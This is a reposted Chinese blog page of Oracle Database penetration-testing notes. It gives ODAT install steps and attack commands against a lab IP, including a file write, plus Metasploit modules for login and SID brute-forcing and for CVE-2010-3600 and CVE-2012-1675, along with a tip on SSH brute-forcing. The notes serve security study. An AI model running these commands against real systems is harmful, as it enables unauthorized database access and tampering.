码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Oracle 学习笔记


    Oracle

    Oracle Database Server 是美国甲骨文(Oracle)公司的一套关系数据库管理系统。该数据库管理系统提供数据管理、分布式处理等功能。

    fofa : app="Oracle-数据库"

    版本号

    • oracle 版本号是真的乱,Oracle 数据库版本号请看维基百科 Oracle Database

    注入

    • Oracle数据库注入笔记

    Tips

    • scott 用户默认没有启用
    • 可以用 oracle 的账号试试 ssh 的爆破

    相关文章

    • How to hack an Oracle database server

    相关渗透工具

    • jas502n/oracleShell - oracle 数据库命令执行工具,支持连接的 Oracle 版本较低
    • quentinhardy/odat - Oracle 数据库攻击工具,支持功能包括爆破 SID,提权,命令执行
    1. # 安装
    2. apt install -y libaio1 alien
    3. apt install -y python3-scapy
    4. pip3 install colorlog termcolor pycrypto passlib cx_Oracle pyinstaller
    5. pip3 install argcomplete && activate-global-python-argcomplete
    6. git clone https://github.com/quentinhardy/odat.git
    7. # 访问 https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html 下载 rpm 包
    8. alien --to-deb oracle-instantclient19.6-basic-19.6.0.0.0-1.x86_64.rpm
    9. dpkg -i oracle-instantclient19.6-basic_19.6.0.0.0-2_amd64.deb
    10. export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
    11. export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
    12. export PATH=${ORACLE_HOME}bin:$PATH
    13. sudo -s
    14. sources /etc/profile
    15. python3 -c 'import cx_Oracle'
    16. python3 odat.py -h
    1. python3 odat.py all -s 192.168.1.254 -p 1521
    2. python3 odat.py all -s 192.168.1.254 -p 1521 -d ORA19C -U system -P Test1234
    3. # 信息收集
    4. python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --ping
    5. python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --version
    6. python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --status
    7. # 写文件
    8. echo "Hacked By Gerh" > /tmp/File-Test.txt
    9. python3 odat.py dbmsxslprocessor -s 192.168.1.254 -p 1521 -d ORA19C -U system -P Test1234 --putFile "/tmp" "File-Test.txt" "/tmp/File-Test.txt"

    MSF 爆破

    1. use admin/oracle/oracle_login
    2. set RHOSTS [IP]
    3. set SID [SID]
    4. run

    CVE-2010-3600 Oracle Enterprise Manager Grid Control JSP 代码执行漏洞

    • 漏洞描述

    Oracle Database Server 11.1.0.7 和 11.2.0.1 版本,以及 Enterprise Manager Grid Control 10.2.0.5 版本的 Client System Analyzer 组件中存在未明漏洞。远程攻击者可借助未知向量影响机密性、完整性和可用性。

    • 影响版本

    • Oracle:Enterprise_manager_grid_control:10.2.0.5:::

    • Oracle:Database_server:11.1.0.7:::

    • Oracle:Database_server:11.2.0.1:::

    • MSF 模块

    use exploit/windows/oracle/client_system_analyzer_upload

    CVE-2012-1675 Oracle TNS Listener Remote Poisoning

    • 漏洞描述

    Oracle Database Server 在实现上存在可允许攻击者向远程“TNS Listener”组件处理的数据投毒的漏洞。攻击者可利用此漏洞将数据库服务器的合法“TNS Listener”组件中的数据转向到攻击者控制的系统,导致控制远程组件的数据库实例,造成组件和合法数据库之间的攻击者攻击、会话劫持或拒绝服务攻击。

    • 影响版本

    • Oracle:Database_server:11.2.0.4:::

    • Oracle:Database_server:11.2.0.3:::

    • Oracle:Database_server:11.2.0.2:::

    • Oracle:Database_server:11.1.0.7:::

    • Oracle:Database_server:10.2.0.5:::

    • 相关文章

    • Oracle TNS Listener Remote Poisoning

    • ORACLE TNS Listener远程注册投毒(Poison Attack)漏洞

    • MSF 模块

    1. use auxiliary/admin/oracle/tnscmd # 该漏洞可以远程获取到 oracle 的内存信息,若是能获取到内存中的数据即为存在漏洞.
    2. set rhosts [ip]
    3. run
    4. use auxiliary/admin/oracle/sid_brute # 爆破 oracle 的 SID
    5. set rhosts [ip]
    6. run

    点击关注,共同学习!安全狗的自我修养

    github haidragon

    https://github.com/haidragon

  • 相关阅读:
    LeetCode - 141. 环形链表 (C语言,快慢指针,配图)
    SpringSecurity(七)【密码加密】
    【前端框架的发展史详细介绍】
    什么是 DeGods NFT 系列?
    含文档+PPT+源码等]精品基于SSM的农产品交易平台[包运行成功]Java毕业设计SSM项目源码论文
    小程序上车,车载小程序的信息安全是否可靠?
    MySQL-大小写规范及sql_mode设置
    数据库查询详解
    怎么在树莓派上搭建web网站,并发布到外网可访问?
    Java版工程行业管理系统源码-专业的工程管理软件- 工程项目各模块及其功能点清单
  • 原文地址:https://blog.csdn.net/sinat_35360663/article/details/127614379
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号